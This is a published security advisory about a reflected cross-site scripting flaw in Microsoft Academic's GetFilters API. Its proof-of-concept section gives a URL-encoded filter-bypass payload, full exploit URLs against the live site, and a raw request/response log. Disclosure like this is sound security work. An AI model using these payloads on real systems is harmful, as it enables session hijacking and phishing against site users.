Academic Microsoft API Query Filter Cross Site Scripting

`Document Title:  
===============  
Acadmic Microsoft - API Query Filter Cross Site Scripting Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2056  
  
MSRC ID: 0001010174  
  
  
Release Date:  
=============  
2018-01-20  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2056  
  
  
Common Vulnerability Scoring System:  
====================================  
3.2  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Non Persistent  
  
  
Current Estimated Price:  
========================  
500a! - 1.000a!  
  
  
Product & Service Introduction:  
===============================  
Microsoft Academic is a free public search engine for academic publications and literature, developed by Microsoft Research.   
Re-launched in 2016, the tool features an entirely new data structure and search engine using semantic search technologies   
and it currently indexes over 150 million entities. The Academic Knowledge API offers information retrieval from the   
underlying database using REST endpoints for advanced research purposes.  
  
(Copy of the Homepage: https://en.wikipedia.org/wiki/Microsoft_Academic )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a client-side vulnerability in the official Microsoft Academic online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-04-09: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)  
2017-04-10: Vendor Notification (Microsoft Security Response Center Team)  
2017-04-11: Vendor Response/Feedback (Microsoft Security Response Center Team)  
2018-**-**: Security Acknowledgements (Microsoft Security Response Center Team) - Unresponsive ??!  
2018-**-**: Vendor Fix/Patch (Microsoft Service Developer Team) - Unresponsive ??!  
2018-01-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Microsoft Corporation  
Product: Academic - Online Service (Web-Application) 2017 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A client-side cross site scripting vulnerability has been discovered in the official Microsoft Academic online service web-application.  
The vulnerability typ allows remote attackers to inject own malicious script code to client-side browser to application web requests.  
  
The cross site scripting vulnerability is located in the api of the web-application. Remote attackers are able to exploit via vulnerable   
`api/search/Getfilters` to byoass the current xss restriction filter. Thus allows the remote attacker to inject and execute client-side   
cross site scripting payloads. The request method to inject is GET and the attack vector is non-persistent.   
  
The security risk of the cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.   
Exploitation of the client-side cross site vulnerability requires no privileged web-application user account and only low user interaction.   
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects   
to malicious sources and non-persistent manipulation of affected or connected application modules.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] /api/search/Getfilters  
  
Vulnerable Parameter(s):  
[+] query  
  
Affected Module(s):  
[+] Current XSS Filter Protection  
  
  
Proof of Concept (PoC):  
=======================  
The client-side cross site vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Manual  
1. Attackers can bypass the xss filter by using this payload through query api system.   
"%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.cookie)%3E%40"  
2. Attackers can use the current url to execute the prompt dialog with successful response of xss payload execution  
  
  
PoC: Exploitation  
https://academic.microsoft.com/api/search/GetFilters?query=%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.cookie)%3E%40&correlationId=undefined  
https://academic.microsoft.com/api/search/GetFilters?query=%40%27%3E%3Cimg%20src=evil.source%20onerror=prompt(document.domain)%3E%40&correlationId=undefined  
  
  
PoC: Vulnerable Source  
{  
"message": "No HTTP resource was found that matches the request URI   
'https://academic.microsoft.com/api/search/GetFilters?query=%40'><<><iframe src http:%2F%2Fevil.source><%2Fiframe>%40&correlationId=undefined'."  
}  
  
  
--- PoC Session Logs [GET] ---  
GET /api/search/GetFilters?query=%40%27%3E%3C%3Ciframe%20src%20http%3A%2F%2Fevil.source%3E%3C%2Fiframe%3E%40&correlationId=undefined HTTP/1.1  
Host: academic.microsoft.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
X-Requested-With: XMLHttpRequest  
Referer: https://academic.microsoft.com/  
Cookie: utag_main=v_id:015b543cdafd00b14436aadab8900104400390090086e$_sn:1$_ss:0$_st:1491768750447$ses_id:1491766926079%3B  
exp-session$_pn:2%3Bexp-session; s_norv=1491766950419-New; s_vnum=1493611200871%26vn%3D1; s_invisit=true; s_dslv=1491766950423;   
s_dslv_s=First%20Visit; s_ppn=mpdacad%3Aen-us%3Aregister; s_ppvl=mpdacad%253Aen-us%253Alogin%2C100%2C89%2C643%2C1355%2C621%2C1366%2C768%2C1%2CP;   
s_ppv=mpdacad%253Aen-us%253Aregister%2C100%2C92%2C675%2C1355%2C621%2C1366%2C768%2C1%2CP; s_fid=2DCC642E0324D787-3D30FA055450DC93;   
s_cc=true; s_sq=msstompdacad%3D%2526c.%2526a.%2526activitymap.%2526page%253Dmpdacad%25253Aen-  
us%25253Aregister%2526link%253DSign%252520up%252520with%252520Microsoft%252520account%2526region%253Dmain%2526pageIDType%253D1%2526.  
activitymap%2526.a%2526.c%2526pid%253Dmpdacad%25253Aen-us%25253Aregister%2526pidt%253D1%2526oid%253DSign%252520up%252520with%252520  
Microsoft%252520account%2526oidt%253D3%2526ot%253DSUBMIT; AMCV_EA76ADE95776D2EC7F000101%40AdobeOrg=  
-179204249%7CMCMID%7C28933220378893493633963593270039587370; MSFPC=ID=d9c52c60bfa3454780dd8fed1ee6d500&CS=1&LV=201704&V=1;   
msacademic=da629bfe-3e6a-4e63-8c85-d684ae83d1d6  
Connection: close  
-  
Response:  
HTTP/1.1 200 OK  
Cache-Control: no-cache  
Pragma: no-cache  
Content-Type: application/json; charset=utf-8  
Expires: -1  
Server: Microsoft-IIS/8.5  
X-Powered-By: ASP.NET  
Date: Sun, 09 Apr 2017 12:55:23 GMT  
Connection: close  
Content-Length: 230  
  
  
  
Reference(s):  
https://academic.microsoft.com/  
https://academic.microsoft.com/api/  
https://academic.microsoft.com/api/search/  
https://academic.microsoft.com/api/search/GetFilters  
  
  
Solution - Fix & Patch:  
=======================  
2018-**-**: Security Acknowledgements (Microsoft Security Response Center Team) - Unresponsive  
  
  
Security Risk:  
==============  
The security risk of the non-persistent cross site scripting web vulnerability is estimated as medium. (CVSS 3.2)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Lawrence Amer (http://lawrenceamer.me)   
Profile: https://www.vulnerability-lab.com/show.php?user=Lawrence Amer  
  
  
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`